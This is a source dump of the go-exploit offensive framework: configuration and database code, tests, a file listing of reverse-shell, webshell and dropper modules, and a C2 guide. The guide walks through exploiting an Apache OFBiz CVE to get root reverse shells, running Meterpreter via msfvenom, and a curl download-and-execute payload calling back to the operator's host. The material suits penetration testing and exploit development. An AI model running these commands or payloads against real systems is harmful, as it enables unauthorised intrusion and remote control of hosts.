output.PrintfFrameworkError("Requested invalid flag: %s", name)
return 0
}
return *value
}
// Fetch the configured uint value for "name".
func (conf *Config) GetBoolFlag(name string) bool {
value, ok := conf.BoolFlagsMap[name]
if !ok {
output.PrintfFrameworkError("Requested invalid flag: %s", name)
return false
}
return *value
}
// Apply the configuration settings to a Go text template. This will take
// the `Config` struct and apply it to a `text/template`, allowing for
// strings to be built directly from the already set configuration
// variables.
//
// s := conf.ApplyTemplate(`CVE: {{.CVE}} - {{.Product}}`)
// output.PrintStatus(s) // Output: CVE: CVE-2024-1337 - OFBiz
//
// Flags that are user defined with CreateStringFlag and other types are
// directly accessible from their map values, for example if a command line
// argument is added with conf.CreateStringFlag("output", "do output",
// "instructions") it will be accessible via the following ApplyTemplate
// call:
//
// conf.ApplyTemplate(`Output flag {{.StringFlagsMap.output}}`)
//
// This function only returns the processed string and if a templating
// error occurs the function emits a framework error and sets the string to
// an empty string. This makes it harder to process any dynamic content and
// properly catch errors, but simplifies the return value to only provide a
// string.
//
// This should not be used with potentially attacker controlled input.
//
// Some Config types might be complex and will require usage of range
// components of text/template, follow the package docs if necessary.
func (conf *Config) ApplyTemplate(name string) string {
t, err := template.New("config-string-template").Parse(name)
if err != nil {
output.PrintfFrameworkError("Could not create template: %s", err.Error())
return ""
}
var buf bytes.Buffer
if err := t.Execute(&buf, conf); err != nil {
output.PrintfFrameworkError("Could not apply template: %s", err.Error())
return ""
}
return buf.String()
}
// Generate a URL from a path from the current configuration. This is a
// way of invoking protocol.GenerateURL for developer ergonomics during
// exploit development.
func (conf *Config) GenerateURL(path string) string {
return protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, path)
}
// Disable automatic start of c2 servers. Manually starting is required after
// this function is called. This is useful when you have an exploit that
// may have multiple stages and you are guaranteed to not need the C2
// setup. An example is an exploit that needs to retrieve a CAPTCHA may not
// want to start up the C2 until the first stage is retrieved and the
// CAPTCHA is solved.
func (conf *Config) DisableC2Start() {
conf.C2AutoStart = false
}
// Some C2 (ShellTunnel) don't actually care how the payload is generated, but
// the underlying C2 might be implied depending on how the individual exploit
// has been developed. It is certainly not a requirement to call this function
// but it can help simplify the handling of secure shell vs insecure.
func (conf *Config) ResolveC2Payload() c2.Impl {
if conf.C2Type != c2.ShellTunnel {
return conf.C2Type
}
if shelltunnel.GetInstance().SSLShellServer {
return c2.SSLShellServer
}
return c2.SimpleShellServer
}
// AddPayload provides hints to an exploit about types of payloads that are
// supported and then sets up payload command line flags to allow user defined
// payload options.
//
// By default adding support for a payload sets up payload flags. This allows
// an exploit to automatically gain support for custom commands or files for
// payloads. See payload.Supported for details about which payload type adds
// which flags.
//
// Basic usage of adding support for specific payloads can be seen below:
//
// supportedPayload := []payload.Supported{
// {
// Types: payload.GenericCommand,
// Arch: payload.None,
// Effects: payload.NoEffects,
// Default: true,
// },
// {
// Types: payload.LinuxELF,
// Arch: payload.AMD64,
// Effects: payload.UnknownEffects,
// },
// {
// Types: payload.LinuxELF,
// Arch: payload.ARM64,
// Effects: payload.Effects{
// payload.FileCreate: []string{"/var/www/html/pwnt", "/var/www/html/pwnt2"},
// },
// },
// }
//
// conf := config.NewRemoteExploit(
// config.ImplementedFeatures{AssetDetection: true, VersionScanning: false, Exploitation: true},
// config.CodeExecution, supportedC2,
// "", []string{""},
// []string{""}, "CVE-2023-28324", "HTTP", 80)
// conf.AddPayload(supportedPayload[:]...)
//
// Usage of payload supported options requires some modification to payload
// generation logic to check for a custom payload, similarly to selecting C2
// types. Below shows the payload selection type will automatically populate
// config.CustomPayload with the contents of the payload specific flag:
//
// switch conf.SelectedPayload.Types {
// case payload.GenericCommand:
// output.PrintfStatus("adding GenericCommand")
// if conf.HasCustomPayload() {
// output.PrintfStatus("using '%s' in place of default", string(conf.CustomPayload))
// }
// // continue with non-custom payload generation
// case payload.LinuxELF:
// output.PrintfStatus("adding LinuxELF")
// if conf.HasCustomPayload() {
// output.PrintfStatus("using binary len %d in place of default", len(conf.CustomPayload))
// }
// // continue with non-custom payload generation
// }
//
// Alternatively, simple payloads can utilize the payload type options
// during payload generations to substitute in the custom payloads by using
// the type specific checks:
//
// if conf.HasCustomPayload() {
// if conf.SelectedPayload.Type.IsCommand() {
// output.PrintfStatus("using '%s' in place of default", string(conf.CustomPayload))
// } else {
// output.PrintfStatus("using binary len %d in place of default", len(string(conf.CustomPayload)))
// }
// }
func (conf *Config) AddPayload(p ...payload.Supported) {
conf.PayloadFlags = true
hasDefault := false
for _, pl := range p {
if pl.Default {
if hasDefault {
output.PrintFrameworkError("Cannot have multiple default payloads")
return
}
conf.SelectedPayload = pl
hasDefault = true
}
conf.SupportedPayloads = append(conf.SupportedPayloads, pl)
}
}
// HasCustomPayload checks if the supported payload has a custom flag defined and the data is
// populated by the framework. This is useful for payload generation wanting to explicitly
// check for if a user has provided a payload.
func (conf *Config) HasCustomPayload() bool {
if len(conf.SupportedPayloads) == 0 {
return false
}
return len(conf.CustomPayload) > 0
}
================================================
FILE: config/config_test.go
================================================
package config_test
import (
"strings"
"testing"
"github.com/vulncheck-oss/go-exploit/c2"
"github.com/vulncheck-oss/go-exploit/config"
)
func TestDefaultFlags(t *testing.T) {
conf := config.NewRemoteExploit(
config.ImplementedFeatures{AssetDetection: true, VersionScanning: true, Exploitation: true},
config.CodeExecution, []c2.Impl{}, "Apache", []string{"OFBiz"},
[]string{"cpe:2.3:a:apache:ofbiz"}, "CVE-2024-45507", "HTTP", 80)
conf.CreateStringFlag("teststring1", "default!", "string usage")
conf.CreateUintFlag("testuint1", 99, "uint usage")
conf.CreateIntFlag("testint1", 300, "int usage")
conf.CreateBoolFlag("testbool1", true, "bool usage")
if conf.GetStringFlag("teststring1") != "default!" {
t.Error("Unexpected GetStringFlag results")
}
if conf.GetStringFlag("wat") != "" {
t.Error("Failed string lookup should default to empty string")
}
if conf.GetUintFlag("teststring1") != 0 {
t.Error("Failed uint lookup should default to 0")
}
if conf.GetUintFlag("testuint1") != 99 {
t.Error("Unexpected GetUintFlag results")
}
if conf.GetIntFlag("testint1") != 300 {
t.Error("Unexpected GetIntFlag results")
}
if !conf.GetBoolFlag("testbool1") {
t.Error("Unexpected GetBoolFlag results")
}
}
func TestExternalDefaultFlags(t *testing.T) {
conf := config.NewRemoteExploit(
config.ImplementedFeatures{AssetDetection: true, VersionScanning: true, Exploitation: true},
config.CodeExecution, []c2.Impl{}, "Apache", []string{"OFBiz"},
[]string{"cpe:2.3:a:apache:ofbiz"}, "CVE-2024-45507", "HTTP", 80)
testString := "test"
conf.CreateStringVarFlag(&testString, "teststring", "default!", "string usage")
testUInt := uint(88)
conf.CreateUintVarFlag(&testUInt, "testuint", 99, "uint usage")
testInt := -88
conf.CreateIntVarFlag(&testInt, "testint", 300, "int usage")
testBool := true
conf.CreateBoolVarFlag(&testBool, "testbool", true, "bool usage")
if conf.GetStringFlag("teststring") != "default!" {
t.Error("Unexpected GetStringFlag results")
}
if conf.GetStringFlag("wat") != "" {
t.Error("Failed string lookup should default to empty string")
}
if conf.GetUintFlag("teststring") != 0 {
t.Error("Failed uint lookup should default to 0")
}
if conf.GetUintFlag("testuint") != 99 {
t.Error("Unexpected GetUintFlag results")
}
if conf.GetIntFlag("testint") != 300 {
t.Error("Unexpected GetIntFlag results")
}
if !conf.GetBoolFlag("testbool") {
t.Error("Unexpected GetBoolFlag results")
}
}
func TestApplyTemplate(t *testing.T) {
conf := config.NewRemoteExploit(
config.ImplementedFeatures{AssetDetection: true, VersionScanning: true, Exploitation: true},
config.CodeExecution, []c2.Impl{}, "Apache", []string{"OFBiz"},
[]string{"cpe:2.3:a:apache:ofbiz"}, "CVE-2024-45507", "HTTP", 80)
conf.CreateStringFlag("teststring2", "default!", "string usage")
conf.CreateUintFlag("testuint2", 99, "uint usage")
conf.CreateIntFlag("testint2", 300, "int usage")
conf.CreateBoolFlag("testbool2", true, "bool usage")
s := conf.ApplyTemplate("{{.CVE}} {{.StringFlagsMap.teststring2}} {{.UintFlagsMap.testuint2}} {{.IntFlagsMap.testint2}} {{.BoolFlagsMap.testbool2}}")
if s == "" {
t.Error("Template returned error")
}
s = conf.ApplyTemplate("{{.CVE}} {{.StringFlagsMap.teststring2}} {{.UintFlagsMap.testuint2}} {{.IntFlagsMap.testint2}} {{.BoolFlagsMap.testbool2}}")
if s == "" {
t.Error("Template returned error")
}
if s != "CVE-2024-45507 default! 99 300 true" {
t.Errorf("'%s' unexpected", s)
}
}
func TestGenerateURL(t *testing.T) {
conf := config.NewRemoteExploit(
config.ImplementedFeatures{AssetDetection: true, VersionScanning: true, Exploitation: true},
config.CodeExecution, []c2.Impl{}, "Apache", []string{"OFBiz"},
[]string{"cpe:2.3:a:apache:ofbiz"}, "CVE-2024-45507", "HTTP", 80)
conf.Rhost = "127.13.37.1"
conf.Rport = 31337
conf.SSL = true
if strings.Compare(conf.GenerateURL("/vulncheck"), `https://127.13.37.1:31337/vulncheck`) != 0 {
t.Errorf("GenerateURL did not generate expected HTTPS URL: `%s` != `%s`", conf.GenerateURL("/vulncheck"), `https://127.13.37.1:31337/vulncheck`)
}
conf.SSL = false
if strings.Compare(conf.GenerateURL("/vulncheck"), `http://127.13.37.1:31337/vulncheck`) != 0 {
t.Errorf("GenerateURL did not generate expected HTTP URL: `%s` != `%s`", conf.GenerateURL("/vulncheck"), `http://127.13.37.1:31337/vulncheck`)
}
}
================================================
FILE: db/create.go
================================================
// SQLite Caching and Cross-Exploit Database
//
// The db package contains the logic to handle a user provided SQLite DB in order
// to store results and cache HTTP responses. This has a few useful benefits:
//
// 1. When scanning with hundreds of go-exploit implementations, the user significantly
// cuts down on network requests (therefore speeding up scanning), both from the
// verified results being cached (you only have to verify a target is Confluence once)
// and from the cached HTTP responses.
// 2. The result is a useful asset database containing IP, port, installed software, and
// versions.
// 3. The database can be reused with a go-exploit and generate no network traffic (assuming
// you aren't doing the exploitation stage). That is very interesting when, for example,
// you wrote a version scanner for CVE-2024-31982, scanned a customer host that was patched,
// but then CVE-2024-31983 is released the next day. You can essentially rescan the cached
// version of their system with your new CVE scanner.
//
// Mostly this package should be totally transparent to users of the framework. The only direct
// interface, currently, should be calls to HTTPGetCache.
package db
import (
"database/sql"
"time"
"github.com/vulncheck-oss/go-exploit/output"
// pure go sqlite3 driver.
_ "modernc.org/sqlite"
)
// GlobalSQLHandle is a handle to the SQLite DB for handling cross-exploit data sharing.
var GlobalSQLHandle *sql.DB
// GlobalHTTPRespCacheLimit is the maximum size of an HTTP body that we will attempt to cache.
var GlobalHTTPRespCacheLimit int
const (
schemaVersion = "1.0.0"
metadataTable = `CREATE TABLE IF NOT EXISTS metadata (created INTEGER NOT NULL,schema_version TEXT NOT NULL);`
initMetadataTable = `INSERT INTO metadata (created, schema_version) VALUES (?, ?)`
checkMetadata = `SELECT name FROM sqlite_master WHERE type ='table' = ? AND name='metadata`
getSchemaVersion = `SELECT schema_version FROM metadata;`
verifiedTable = `CREATE TABLE IF NOT EXISTS verified(` +
`id INTEGER PRIMARY KEY AUTOINCREMENT,` +
`created INTEGER NOT NULL,` +
`software_name TEXT NOT NULL,` +
`installed INTEGER NOT NULL CHECK (installed IN (0, 1)),` +
`version TEXT NOT NULL,` +
`rhost TEXT NOT NULL,` +
`rport INTEGER NOT NULL CHECK (rport >= 0 AND rport <= 65535));`
httpCacheTable = `CREATE TABLE IF NOT EXISTS http_cache(` +
`id INTEGER PRIMARY KEY AUTOINCREMENT,` +
`created INTEGER NOT NULL,` +
`rhost TEXT NOT NULL,` +
`rport INTEGER NOT NULL CHECK (rport >= 0 AND rport <= 65535),` +
`uri TEXT NOT NULL,` +
`data BLOB NOT NULL);`
)
func InitializeDB(name string) bool {
GlobalSQLHandle = nil
if len(name) == 0 {
return true
}
handle, err := sql.Open("sqlite", name)
if err != nil {
output.PrintFrameworkError(err.Error())
return false
}
if checkMetadataExists(handle) && !checkSchemaVersion(handle) {
return false
} else if !createMetadataTable(handle) {
return false
}
if !createVerifiedSoftwareTable(handle) ||
!createHTTPCacheTable(handle) {
return false
}
GlobalSQLHandle = handle
return true
}
func checkMetadataExists(handle *sql.DB) bool {
name := ""
err := handle.QueryRow(checkMetadata).Scan(&name)
return err == nil
}
func createMetadataTable(handle *sql.DB) bool {
_, err := handle.Exec(metadataTable)
if err != nil {
output.PrintFrameworkError(err.Error())
return false
}
_, err = handle.Exec(initMetadataTable, time.Now().Unix(), schemaVersion)
if err != nil {
output.PrintFrameworkError(err.Error())
return false
}
return true
}
func checkSchemaVersion(handle *sql.DB) bool {
version := ""
err := handle.QueryRow(getSchemaVersion).Scan(&version)
if err != nil {
output.PrintFrameworkError(err.Error())
return false
}
if version != schemaVersion {
output.PrintFrameworkError("Incompatible schema versions")
return false
}
return true
}
func createVerifiedSoftwareTable(handle *sql.DB) bool {
_, err := handle.Exec(verifiedTable)
if err != nil {
output.PrintFrameworkError(err.Error())
return false
}
return true
}
func createHTTPCacheTable(handle *sql.DB) bool {
// create the cache table
_, err := handle.Exec(httpCacheTable)
if err != nil {
output.PrintFrameworkError(err.Error())
return false
}
return true
}
================================================
FILE: db/get.go
================================================
package db
const (
getCacheData = `SELECT data FROM http_cache WHERE rhost = ? AND rport = ? AND uri = ?`
getInstalled = `SELECT installed FROM verified WHERE software_name = ? AND rhost = ? AND rport = ?`
)
// Look for an HTTP response in the db cache.
func GetHTTPResponse(rhost string, rport int, path string) (string, bool) {
if GlobalSQLHandle == nil {
return "", false
}
var retVal []byte
err := GlobalSQLHandle.QueryRow(getCacheData, rhost, rport, path).Scan(&retVal)
return string(retVal), err == nil
}
// Check the database to see if the target has been scanned for specific software. If so, return the result (so we don't do it again)
// Return is <db-value>,<ok>.
func GetVerified(product string, rhost string, rport int) (bool, bool) {
if GlobalSQLHandle == nil {
return false, false
}
retVal := false
err := GlobalSQLHandle.QueryRow(getInstalled, product, rhost, rport).Scan(&retVal)
return retVal, err == nil
}
================================================
FILE: db/update.go
================================================
package db
import (
"time"
"github.com/vulncheck-oss/go-exploit/output"
// pure go sqlite3 driver.
_ "modernc.org/sqlite"
)
const (
verifiedUpsert = `INSERT INTO verified (id, created, software_name, installed, version, rhost, rport)` +
`VALUES ((SELECT id FROM verified WHERE rhost = ? AND rport = ? AND software_name = ?), ?, ?, ?, ?, ?, ?)` +
`ON CONFLICT(id) DO UPDATE SET ` +
`software_name = excluded.software_name,` +
`installed = excluded.installed,` +
`rhost = excluded.rhost,` +
`rport = excluded.rport,` +
`version = excluded.version;`
cacheUpsert = `INSERT INTO http_cache (id, created, rhost, rport, uri, data)` +
`VALUES ((SELECT id FROM http_cache WHERE rhost = ? AND rport = ? AND uri = ?), ?, ?, ?, ?, ?)` +
`ON CONFLICT(id) DO UPDATE SET ` +
`rhost = excluded.rhost,` +
`rport = excluded.rport,` +
`uri = excluded.uri,` +
`data = excluded.data;`
)
func UpdateVerified(software string, installed bool, version string, rhost string, rport int) bool {
if GlobalSQLHandle == nil {
return true
}
_, err := GlobalSQLHandle.Exec(verifiedUpsert, rhost, rport, software, time.Now().Unix(), software, installed, version, rhost, rport)
if err != nil {
output.PrintFrameworkError(err.Error())
return false
}
return true
}
// Attempt to cache the provided HTTP httpResp in the database.
func CacheHTTPResponse(rhost string, rport int, path string, httpResp []byte) {
if GlobalSQLHandle == nil {
return
}
// only cache up to a user configurable size
if len(httpResp) > GlobalHTTPRespCacheLimit {
return
}
_, err := GlobalSQLHandle.Exec(cacheUpsert, rhost, rport, path, time.Now().Unix(), rhost, rport, path, httpResp)
if err != nil {
output.PrintfFrameworkError("Error during caching: %s", err.Error())
return
}
}
================================================
FILE: docs/c2.md
================================================
# Command & Control
## Supported C2
In `go-exploit`, the command and control (C2) provides very basic second stage and/or post-exploitation functionality. At the moment, there are five supported C2 types:
1. *SimpleShellClient* - An unencrypted shell via a bind shell.
2. *SimpleShellServer* - An unencrypted shell via a reverse shell.
3. *SSLShellServer* - An encrypted shell via a reverse shell.
4. *HTTPServeFile* - An HTTP server that serves a user provided file (e.g. to server a Meterpreter payload).
5. *HTTPServeShell* - An HTTP server that serves a user provided binary that will connect back to the exploit for `SSLShellServer` or `SimpleShellServer`.
6. *ShellTunnel* - A C2 that will catch a reverse shell, connect to a listener, and proxy the data between the two.
`go-exploit` also supports a `-o` option which means "The c2 is handled by an outside program so don't expect any type of connect back."
## Implementing and Using C2 in an Exploit
A `go-exploit` configures available C2 in `main`. For example, if we look at the go-exploit for [CVE-2023-51467](https://github.com/vulncheck-oss/cve-2023-51467/blob/main/cve-2023-51467.go), we'll find the following:
```go
func main() {
supportedC2 := []c2.Impl{
c2.SSLShellServer,
c2.SimpleShellServer,
c2.HTTPServeFile,
}
}
conf := config.New(config.CodeExecution, supportedC2, "Apache OFBiz", "CVE-2023-51467", 80)
sploit := OFBizXML{}
exploit.RunProgram(sploit, conf)
}
```
In the snippet above, the exploit has configured three available c2. The default is always the one listed first. In this case, `c2.SSLShellServer` (an encrypted reverse shell) is the default payload. The exploit also supports `c2.SimpleShellServer` and `c2.HTTPServeFile`. To use the non-default c2, you simply need to inform the command line:
```sh
albinolobster@mournland:~/cve-2023-51467$ ./build/cve-2023-51467_linux-arm64 -a -e -rhost 10.9.49.88 -rport 8443 -c2 SimpleShellServer -lhost 10.9.49.78 -lport 1270
time=2024-03-05T04:50:27.070-05:00 level=STATUS msg="Starting listener on 10.9.49.78:1270"
time=2024-03-05T04:50:27.071-05:00 level=STATUS msg="Starting target" index=0 host=10.9.49.88 port=8443 ssl=false "ssl auto"=true
time=2024-03-05T04:50:27.126-05:00 level=STATUS msg="Sending a reverse shell payload for port 10.9.49.78:1270"
time=2024-03-05T04:50:27.126-05:00 level=STATUS msg="Throwing exploit at https://10.9.49.88:8443/webtools/control/ProgramExport/"
time=2024-03-05T04:50:28.520-05:00 level=SUCCESS msg="Caught new shell from 10.9.49.88:49402"
time=2024-03-05T04:50:28.520-05:00 level=STATUS msg="Active shell from 10.9.49.88:49402"
id
uid=0(root) gid=0(root) groups=0(root)
```
While `go-exploit` comes with backends that understand different c2, the programmer is expected to provide the appropriate payload. For example, the go-exploit for [CVE-2023-51467](https://github.com/vulncheck-oss/cve-2023-51467/blob/main/cve-2023-51467.go) has the following function for defining the payload based on the c2 selected by the user:
```go
func generatePayload(conf *config.Config) (string, bool) {
generated := ""
switch conf.C2Type {
case c2.SSLShellServer:
output.PrintfStatus("Sending an SSL reverse shell payload for port %s:%d", conf.Lhost, conf.Lport)
generated = payload.ReverseShellJJSScript(conf.Lhost, conf.Lport, true)
case c2.SimpleShellServer:
output.PrintfStatus("Sending a reverse shell payload for port %s:%d", conf.Lhost, conf.Lport)
generated = payload.ReverseShellJJSScript(conf.Lhost, conf.Lport, false)
case c2.HTTPServeFile:
output.PrintfStatus("Sending a curl payload for port %s:%d", conf.Lhost, conf.Lport)
curlCommand := payload.LinuxCurlHTTPDownloadAndExecute(conf.Lhost, conf.Lport,
httpservefile.GetInstance().TLS,
httpservefile.GetInstance().GetRandomName(""))
generated = fmt.Sprintf(`new java.lang.ProcessBuilder("/bin/sh", "-c", "%s").start()`, curlCommand)
default:
output.PrintError("Invalid payload")
return generated, false
}
generated = b64.StdEncoding.EncodeToString([]byte(generated))
return generated, true
}
```
## Using -o
Using the `-o` option means that you don't want `go-exploit` to spin up a reverse shell listener (or any other C2) and that connect backs will be handled by a differet (or "outside") program. For example, say I wanted to use `nc` to catch shells instead of my `go-exploit`. The go-exploit for [CVE-2023-51467](https://github.com/vulncheck-oss/cve-2023-51467/blob/main/cve-2023-51467.go) would do that like this:
```
albinolobster@mournland:~/cve-2023-51467$ ./build/cve-2023-51467_linux-arm64 -a -e -rhost 10.9.49.88 -rport 8443 -c2 SimpleShellServer -o -lhost 10.9.49.78 -lport 1270
time=2024-03-05T04:57:12.546-05:00 level=STATUS msg="Starting target" index=0 host=10.9.49.88 port=8443 ssl=false "ssl auto"=true
time=2024-03-05T04:57:12.633-05:00 level=STATUS msg="Sending a reverse shell payload for port 10.9.49.78:1270"
time=2024-03-05T04:57:12.633-05:00 level=STATUS msg="Throwing exploit at https://10.9.49.88:8443/webtools/control/ProgramExport/"
time=2024-03-05T04:57:22.644-05:00 level=SUCCESS msg="Exploit successfully completed" exploited=true
```
The `nc` program listening on `10.9.49.78:1270` would receive the shell.
```
albinolobster@mournland:~$ nc -lvnp 1270
Listening on 0.0.0.0 1270
Connection received on 10.9.49.88 32866
id
uid=0(root) gid=0(root) groups=0(root)
```
## Using HTTPServeFile
The idea behind *HTTPServeFile* is to let the `go-exploit` serve up advanced second stages. For example, say we want to drop Meterpreter on a remote host but there is no Metasploit module for the particular issue? `go-exploit` solves this issue.
Again, let's revisit the go-exploit for [CVE-2023-51467](https://github.com/vulncheck-oss/cve-2023-51467/blob/main/cve-2023-51467.go) which has an *HTTPServeFile* implementation. First, we need to generate a Meterpreter payload:
```sh
albinolobster@mournland:~/metasploit-framework$ ./msfvenom -p linux/x64/meterpreter_reverse_tcp lhost=192.168.1.91 lport=1270 -f elf -o /tmp/meterpreter
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 1068672 bytes
Final size of elf file: 1068672 bytes
Saved as: /tmp/meterpreter
```
Then we start a Meterpreter listener:
```sh
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set PAYLOAD linux/x64/meterpreter_reverse_tcp
PAYLOAD => linux/x64/meterpreter_reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.1.91
LHOST => 192.168.1.91
msf6 exploit(multi/handler) > set LPORT 1270
LPORT => 1270
msf6 exploit(multi/handler) > run
```
We can then throw the exploit that will trigger a download of the file from `go-exploit`. The CVE-2023-51467 achieves that with the following payload:
```sh
case c2.HTTPServeFile:
output.PrintfStatus("Sending a curl payload for port %s:%d", conf.Lhost, conf.Lport)
curlCommand := payload.LinuxCurlHTTPDownloadAndExecute(conf.Lhost, conf.Lport,
httpservefile.GetInstance().TLS,
httpservefile.GetInstance().GetRandomName(""))
generated = fmt.Sprintf(`new java.lang.ProcessBuilder("/bin/sh", "-c", "%s").start()`, curlCommand)
```
Note that we are using the builtin `go-exploit` function `payload.LinuxCurlHTTPDownloadAndExecute` configured with the user provided `TLS` setting and a random filename.
From the command line this is invoked like so:
```sh
albinolobster@mournland:~/cve-2023-51467$ ./build/cve-2023-51467_linux-arm64 -a -e -rhost 192.168.1.179 -rport 8443 -c2 HTTPServeFile -lhost 192.168.1.91 -lport 8181 -httpServeFile.FilesToServe /tmp/meterpreter
time=2024-03-05T05:51:53.307-05:00 level=STATUS msg="Loading the provided file: /tmp/meterpreter"
time=2024-03-05T05:51:53.310-05:00 level=STATUS msg="Starting target" index=0 host=192.168.1.179 port=8443 ssl=false "ssl auto"=true
time=2024-03-05T05:51:53.310-05:00 level=STATUS msg="Starting an HTTP server on 192.168.1.91
gitextract_2r412ve6/
├── .github/
│ ├── dependabot.yml
│ └── workflows/
│ ├── go.yml
│ └── useragent-update.yml
├── .gitignore
├── .golangci.yml
├── CONTRIBUTING.md
├── LICENSE
├── README.md
├── _uaupdate/
│ ├── README.md
│ └── main.go
├── aspnet/
│ ├── aspnet.go
│ └── aspnet_test.go
├── c2/
│ ├── channel/
│ │ └── channel.go
│ ├── cli/
│ │ └── basic.go
│ ├── external/
│ │ └── external.go
│ ├── factory.go
│ ├── factory_test.go
│ ├── httpservefile/
│ │ └── httpservefile.go
│ ├── httpserveshell/
│ │ └── httpserveshell.go
│ ├── httpshellserver/
│ │ └── httpshellserver.go
│ ├── shelltunnel/
│ │ └── shelltunnel.go
│ ├── simpleshell/
│ │ ├── simpleshellclient.go
│ │ └── simpleshellserver.go
│ └── sslshell/
│ └── sslshellserver.go
├── cli/
│ ├── commandline.go
│ └── commandline_test.go
├── config/
│ ├── config.go
│ └── config_test.go
├── db/
│ ├── create.go
│ ├── get.go
│ └── update.go
├── docs/
│ ├── c2.md
│ ├── custom-payloads.md
│ ├── db.md
│ ├── development.md
│ ├── exploit-types.md
│ ├── getting-started.md
│ ├── output.md
│ ├── scanning.md
│ ├── usage-example.md
│ ├── version-checking.md
│ └── windows-lpe.md
├── dotnet/
│ ├── data/
│ │ └── ReturnMessage.xml
│ ├── dotnetgadget.go
│ ├── dotnetgadget_test.go
│ ├── formatters.go
│ ├── general_types.go
│ ├── records.go
│ ├── viewstate.go
│ └── viewstate_test.go
├── encryption/
│ ├── aes.go
│ ├── aes_crypto.go
│ ├── aes_crypto_test.go
│ ├── certificate.go
│ ├── des.go
│ ├── kdf.go
│ ├── xor.go
│ └── xor_test.go
├── framework.go
├── framework_test.go
├── go.mod
├── go.sum
├── java/
│ ├── constants.go
│ ├── gadget_test.go
│ ├── gadgets.go
│ ├── javaclass.go
│ ├── javagadget.go
│ ├── ldapjndi/
│ │ └── ldapjndi.go
│ └── objects.go
├── output/
│ ├── commonlog.go
│ ├── exploitlog.go
│ └── frameworklog.go
├── payload/
│ ├── bindshell/
│ │ ├── bindshell.go
│ │ ├── bindshell_test.go
│ │ ├── netcat.go
│ │ └── telnet.go
│ ├── dropper/
│ │ ├── dropper.go
│ │ ├── dropper_test.go
│ │ ├── groovy.go
│ │ ├── php/
│ │ │ ├── dropper.php
│ │ │ └── dropper_secure.php
│ │ ├── php.go
│ │ ├── unix.go
│ │ └── windows.go
│ ├── encode.go
│ ├── encode_test.go
│ ├── fileplant/
│ │ ├── cron.go
│ │ └── fileplant_test.go
│ ├── payload.go
│ ├── payload_test.go
│ ├── reverse/
│ │ ├── bash.go
│ │ ├── gjscript/
│ │ │ └── glib_spawn.gjs
│ │ ├── gjscript.go
│ │ ├── groovy/
│ │ │ └── classic.groovy
│ │ ├── groovy.go
│ │ ├── java/
│ │ │ └── process_builder.java
│ │ ├── java.go
│ │ ├── jjs/
│ │ │ ├── reverse_shell.jjs
│ │ │ └── reverse_shell_ssl.jjs
│ │ ├── jjs.go
│ │ ├── js.go
│ │ ├── netcat.go
│ │ ├── nodejs/
│ │ │ ├── reverse.js
│ │ │ └── reverse_tls.js
│ │ ├── openssl.go
│ │ ├── perl.go
│ │ ├── php/
│ │ │ ├── unflattened.php
│ │ │ └── unflattened_self_delete.php
│ │ ├── php.go
│ │ ├── python/
│ │ │ ├── reverse27.py
│ │ │ ├── reverse27_secure.py
│ │ │ └── reverse3_12_secure.py
│ │ ├── python.go
│ │ ├── reverse.go
│ │ ├── reverse_test.go
│ │ ├── ruby.go
│ │ ├── telnet.go
│ │ ├── vbs/
│ │ │ └── reverse_http.vbs
│ │ └── vbs.go
│ ├── webshell/
│ │ ├── aspx.go
│ │ ├── bash.go
│ │ ├── jsp/
│ │ │ ├── webshell.jsp
│ │ │ └── webshell_min.jsp
│ │ ├── jsp.go
│ │ ├── php.go
│ │ ├── webshell.go
│ │ └── webshell_test.go
│ ├── wrapper.go
│ └── wrapper_test.go
├── product/
│ ├── asus/
│ │ └── asus.go
│ ├── product.go
│ └── wordpress/
│ ├── plugins.go
│ └── wordpress.go
├── protocol/
│ ├── afp/
│ │ └── afp.go
│ ├── ajp/
│ │ ├── ajp.go
│ │ └── ajp_test.go
│ ├── dotnetremoting/
│ │ └── dotnetremoting.go
│ ├── fortinet/
│ │ └── fgfm.go
│ ├── http-user-agent.txt
│ ├── httphelper.go
│ ├── httphelper_test.go
│ ├── ikev2/
│ │ ├── ikev2.go
│ │ ├── ikev2_test.go
│ │ ├── packs.go
│ │ └── types.go
│ ├── mikrotik/
│ │ ├── mikrotik_test.go
│ │ ├── msg.go
│ │ ├── webfig.go
│ │ └── winbox.go
│ ├── rocketmq/
│ │ ├── remoting.go
│ │ └── remoting_test.go
│ ├── sip/
│ │ ├── examples/
│ │ │ ├── README.md
│ │ │ ├── call/
│ │ │ │ └── main.go
│ │ │ ├── docker-compose.yml
│ │ │ ├── ping/
│ │ │ │ └── main.go
│ │ │ └── tcp/
│ │ │ └── main.go
│ │ ├── helper.go
│ │ ├── helper_test.go
│ │ └── user-agent.txt
│ ├── tcpsocket.go
│ └── udpsocket.go
├── random/
│ ├── random.go
│ └── random_test.go
├── search/
│ ├── search_test.go
│ ├── semver.go
│ └── xpath.go
├── transform/
│ ├── encode.go
│ ├── encode_test.go
│ ├── escape.go
│ ├── escape_test.go
│ ├── parsing.go
│ ├── parsing_test.go
│ ├── transform.go
│ └── transform_test.go
└── windows/
├── alpc_other.go
├── alpc_test.go
├── alpc_windows.go
├── device_other.go
├── device_test.go
├── device_windows.go
├── fsctl_other.go
├── fsctl_windows.go
├── handle_other.go
├── handle_test.go
├── handle_windows.go
├── memory_other.go
├── memory_test.go
├── memory_windows.go
├── platform_other.go
├── platform_windows.go
├── service_other.go
├── service_test.go
├── service_windows.go
├── token_other.go
├── token_test.go
├── token_windows.go
├── windows.go
└── windows_test.go
SYMBOL INDEX (1760 symbols across 154 files)
FILE: _uaupdate/main.go
function main (line 11) | func main() {
FILE: aspnet/aspnet.go
type State (line 57) | type State struct
method AsParams (line 81) | func (state *State) AsParams() map[string]string {
method MergeParams (line 106) | func (state *State) MergeParams(p map[string]string) map[string]string {
method Update (line 114) | func (state *State) Update(body string) {
function xPathQuiet (line 67) | func xPathQuiet(document, path string) (string, bool) {
FILE: aspnet/aspnet_test.go
function TestState_Full (line 50) | func TestState_Full(t *testing.T) {
function TestState_Each (line 104) | func TestState_Each(t *testing.T) {
function TestState_Merge (line 163) | func TestState_Merge(t *testing.T) {
FILE: c2/channel/channel.go
type Channel (line 17) | type Channel struct
method HadSessions (line 43) | func (c *Channel) HadSessions() bool {
method HasSessions (line 56) | func (c *Channel) HasSessions() bool {
